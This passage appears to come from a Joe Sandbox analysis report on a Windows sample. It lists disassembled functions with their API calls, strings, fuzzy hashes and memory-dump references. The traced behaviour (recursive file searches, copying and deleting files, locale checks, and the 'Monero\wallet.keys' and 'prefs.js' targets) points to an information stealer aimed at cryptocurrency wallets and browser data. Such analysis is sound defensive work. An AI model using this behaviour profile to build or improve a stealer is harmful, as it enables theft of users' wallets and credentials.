API String ID: 180737720-445461498
Opcode ID: ed9bbeed5c9a0dca5a87ec2e94e5e89a980f24fb6cc984b7eb8b9c8e037e6cab
Instruction ID: 508ae36eb456311dd283dc08cf52a25fe26cea529061427cfe904d9f08642a96
Opcode Fuzzy Hash: ed9bbeed5c9a0dca5a87ec2e94e5e89a980f24fb6cc984b7eb8b9c8e037e6cab
Instruction Fuzzy Hash: D76197B6940218ABDB34EBA0EC45EEA737CFF88701F404598B50A96045EB35EBC5DF91

Function 00F14570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00F14580
RtlAllocateHeap.NTDLL(00000000), ref: 00F14587
wsprintfA.USER32 ref: 00F145A6
FindFirstFileA.KERNEL32(?,?), ref: 00F145BD
StrCmpCA.SHLWAPI(?,00F20FC4), ref: 00F145EB
StrCmpCA.SHLWAPI(?,00F20FC8), ref: 00F14601
FindNextFileA.KERNEL32(000000FF,?), ref: 00F1468B
FindClose.KERNEL32(000000FF), ref: 00F146A0
lstrcat.KERNEL32(?,008AF2A8), ref: 00F146C5
lstrcat.KERNEL32(?,008ADDF8), ref: 00F146D8
lstrlen.KERNEL32(?), ref: 00F146E5
lstrlen.KERNEL32(?), ref: 00F146F6

Strings

%s\*, xrefs: 00F1459A
%s\%s, xrefs: 00F1461B

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 5ed3cbb9acf3e1c7ee609ec24168255eaa5f23e10d32f03944e3226080ea76ff
Instruction ID: 17dd8fa3acc56565d4636a39dd672abf78cf8b65e32800e35f561d47e6e49276
Opcode Fuzzy Hash: 5ed3cbb9acf3e1c7ee609ec24168255eaa5f23e10d32f03944e3226080ea76ff
Instruction Fuzzy Hash: FD51C4B6940218ABCB34EB70EC89FED737CAF58701F404598B61A93084EB749BC49F91

Function 00F13EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00F13EC3
FindFirstFileA.KERNEL32(?,?), ref: 00F13EDA
StrCmpCA.SHLWAPI(?,00F20FAC), ref: 00F13F08
StrCmpCA.SHLWAPI(?,00F20FB0), ref: 00F13F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00F1406C
FindClose.KERNEL32(000000FF), ref: 00F14081

Strings

%s\%s, xrefs: 00F13EB7

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 7478cf8a74da8c662060b86f6f5838154cdd69b8eb23fc42cc00625adbdd18cb
Instruction ID: a94574b518a0966d53f08b8bb90343f3dfed9181733ffe86a4bcfddd7bd34ab2
Opcode Fuzzy Hash: 7478cf8a74da8c662060b86f6f5838154cdd69b8eb23fc42cc00625adbdd18cb
Instruction Fuzzy Hash: 695166B6900218ABDB24EBB0DC45EEA737CFF48700F404598B65A96084EB75EBC59F51

Function 00F0ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00F0ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00F0ED55
StrCmpCA.SHLWAPI(?,00F21538), ref: 00F0EDAB
StrCmpCA.SHLWAPI(?,00F2153C), ref: 00F0EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00F0F2AE
FindClose.KERNEL32(000000FF), ref: 00F0F2C3

Strings

%s\*.*, xrefs: 00F0ED32

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 9db2e5c914c9921b9d8645d77137f99a225d6dfd445b5cd09e3d4fe7ec7b9adb
Instruction ID: 2918edbb1a4487c6c00019857207a6320b61a71baf38a6386849a5f7605d70f1
Opcode Fuzzy Hash: 9db2e5c914c9921b9d8645d77137f99a225d6dfd445b5cd09e3d4fe7ec7b9adb
Instruction Fuzzy Hash: B0E1F4729121189AEB55FB60DD52EEE733CAF54320F4045E9B40A62092EF346FCAEF51

Function 00F0F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F215B8,00F20D96), ref: 00F0F71E
StrCmpCA.SHLWAPI(?,00F215BC), ref: 00F0F76F
StrCmpCA.SHLWAPI(?,00F215C0), ref: 00F0F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00F0FAB1
FindClose.KERNEL32(000000FF), ref: 00F0FAC3

Strings

prefs.js, xrefs: 00F0F812

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 38a6690d770a0f7309b64f0fa407a318d0065573abc33bf24501e7d7e88c2c72
Instruction ID: b89954ace206fabb2de789c7f815613c9bae899905fd1d2f7fe478e0cf56e352
Opcode Fuzzy Hash: 38a6690d770a0f7309b64f0fa407a318d0065573abc33bf24501e7d7e88c2c72
Instruction Fuzzy Hash: F7B154719011189BDB24FF60DD56FED7379AF54310F4081A8A40A971C1EF39AB8AEF92

Function 00F016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F2510C,?,?,?,00F251B4,?,?,00000000,?,00000000), ref: 00F01923
StrCmpCA.SHLWAPI(?,00F2525C), ref: 00F01973
StrCmpCA.SHLWAPI(?,00F25304), ref: 00F01989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00F01D40
DeleteFileA.KERNEL32(00000000), ref: 00F01DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00F01E20
FindClose.KERNEL32(000000FF), ref: 00F01E32

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

Strings

\*.*, xrefs: 00F017F1

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: f4b310b73b68bf81b7ea041b2f3aa115b1db48ba83d4519bca6ed60149fcddc2
Instruction ID: 5a5fc3865f500a44517cb965f7251a43bd7d0dd98be397fffa1190f53b77c94a
Opcode Fuzzy Hash: f4b310b73b68bf81b7ea041b2f3aa115b1db48ba83d4519bca6ed60149fcddc2
Instruction Fuzzy Hash: 7F1244719111189BDB19FB60DD96EEE7378AF54320F404199B10A620D1EF386FCAEF92

Function 00F0DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00F20C2E), ref: 00F0DE5E
StrCmpCA.SHLWAPI(?,00F214C8), ref: 00F0DEAE
StrCmpCA.SHLWAPI(?,00F214CC), ref: 00F0DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00F0E3E0
FindClose.KERNEL32(000000FF), ref: 00F0E3F2

Strings

\*.*, xrefs: 00F0DE26

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 045670034b1b15a417f82f5da3ded8856457c5d0c0e1468d243bbb6a3b0ad29a
Instruction ID: d6b45bd3d5ee2e69b5cbeddc30f5080e0257bfd088e1ddbe227b33da4a259e82
Opcode Fuzzy Hash: 045670034b1b15a417f82f5da3ded8856457c5d0c0e1468d243bbb6a3b0ad29a
Instruction Fuzzy Hash: 1AF1A3718151189ADB29FB60DD95EEE7338BF14320F8041E9B41A62091EF356FCAEF52

Function 012C322F Relevance: 14.1, Strings: 10, Instructions: 1570COMMON

Download Yara Rule

Strings

(x, xrefs: 012C36E0
_B}, xrefs: 012C3373
;Xm;, xrefs: 012C44B1
c]~{, xrefs: 012C3A4B
A4, xrefs: 012C380E
3}^, xrefs: 012C3E50
:}b, xrefs: 012C335F
aV;, xrefs: 012C3D43
Gt_e, xrefs: 012C4260
T"j, xrefs: 012C3504

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (x$3}^$:}b$;Xm;$A4$Gt_e$T"j$_B}$aV;$c]~{
API String ID: 0-669431359
Opcode ID: 1817b01fd708dfccb8960fb111a7eeeb8c01b590eb645984aa14011d1045ee1c
Instruction ID: 08c6b795c6378c9e886c19c53fd9a72f5193ee0c32c43cdce4aba2ce85259d4d
Opcode Fuzzy Hash: 1817b01fd708dfccb8960fb111a7eeeb8c01b590eb645984aa14011d1045ee1c
Instruction Fuzzy Hash: 59B204F390C2009FE704AE29EC8567AFBE5EF94720F1A493DE6C587744EA3558448787

Function 00F0DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00F214B0,00F20C2A), ref: 00F0DAEB
StrCmpCA.SHLWAPI(?,00F214B4), ref: 00F0DB33
StrCmpCA.SHLWAPI(?,00F214B8), ref: 00F0DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00F0DDCC
FindClose.KERNEL32(000000FF), ref: 00F0DDDE

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 676c179d8d29f8668821a411315ed8480cedebeedc5bf7cbb982b93b3eda49d9
Instruction ID: 0cd6a67afb6ce2a142535fd35c65a7d9db3b2584ef3601ee07a6bbf27aad95c6
Opcode Fuzzy Hash: 676c179d8d29f8668821a411315ed8480cedebeedc5bf7cbb982b93b3eda49d9
Instruction Fuzzy Hash: 0991677290010497DB14FBB0ED569ED737CAF94310F408668F81A961C5FF389B99EB92

Function 00F17B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

GetKeyboardLayoutList.USER32(00000000,00000000,00F205AF), ref: 00F17BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00F17BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00F17C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00F17C62
LocalFree.KERNEL32(00000000), ref: 00F17D22

Strings

/ , xrefs: 00F17C7F

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: cd7f036bf6f2477f84f5ad380a194737f933ad01d6aaca5f53a800acc5db9c1d
Instruction ID: c88520bb81cbd7c90f7b07b324ddc980a53ca6c57e86f84c86c0f26c84574d0c
Opcode Fuzzy Hash: cd7f036bf6f2477f84f5ad380a194737f933ad01d6aaca5f53a800acc5db9c1d
Instruction Fuzzy Hash: E0412A7194121CABDB24EB94DC99BEEB374FF44710F604199E00A66181DB386FC6DFA1

Function 012C175A Relevance: 10.3, Strings: 7, Instructions: 1565COMMON

Download Yara Rule

Strings

6'_u, xrefs: 012C237D
S_, xrefs: 012C1C0F
)Un_, xrefs: 012C1972
b+&V, xrefs: 012C21DE
c/?z, xrefs: 012C278A
6'_u, xrefs: 012C2307
mL~, xrefs: 012C2A54

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
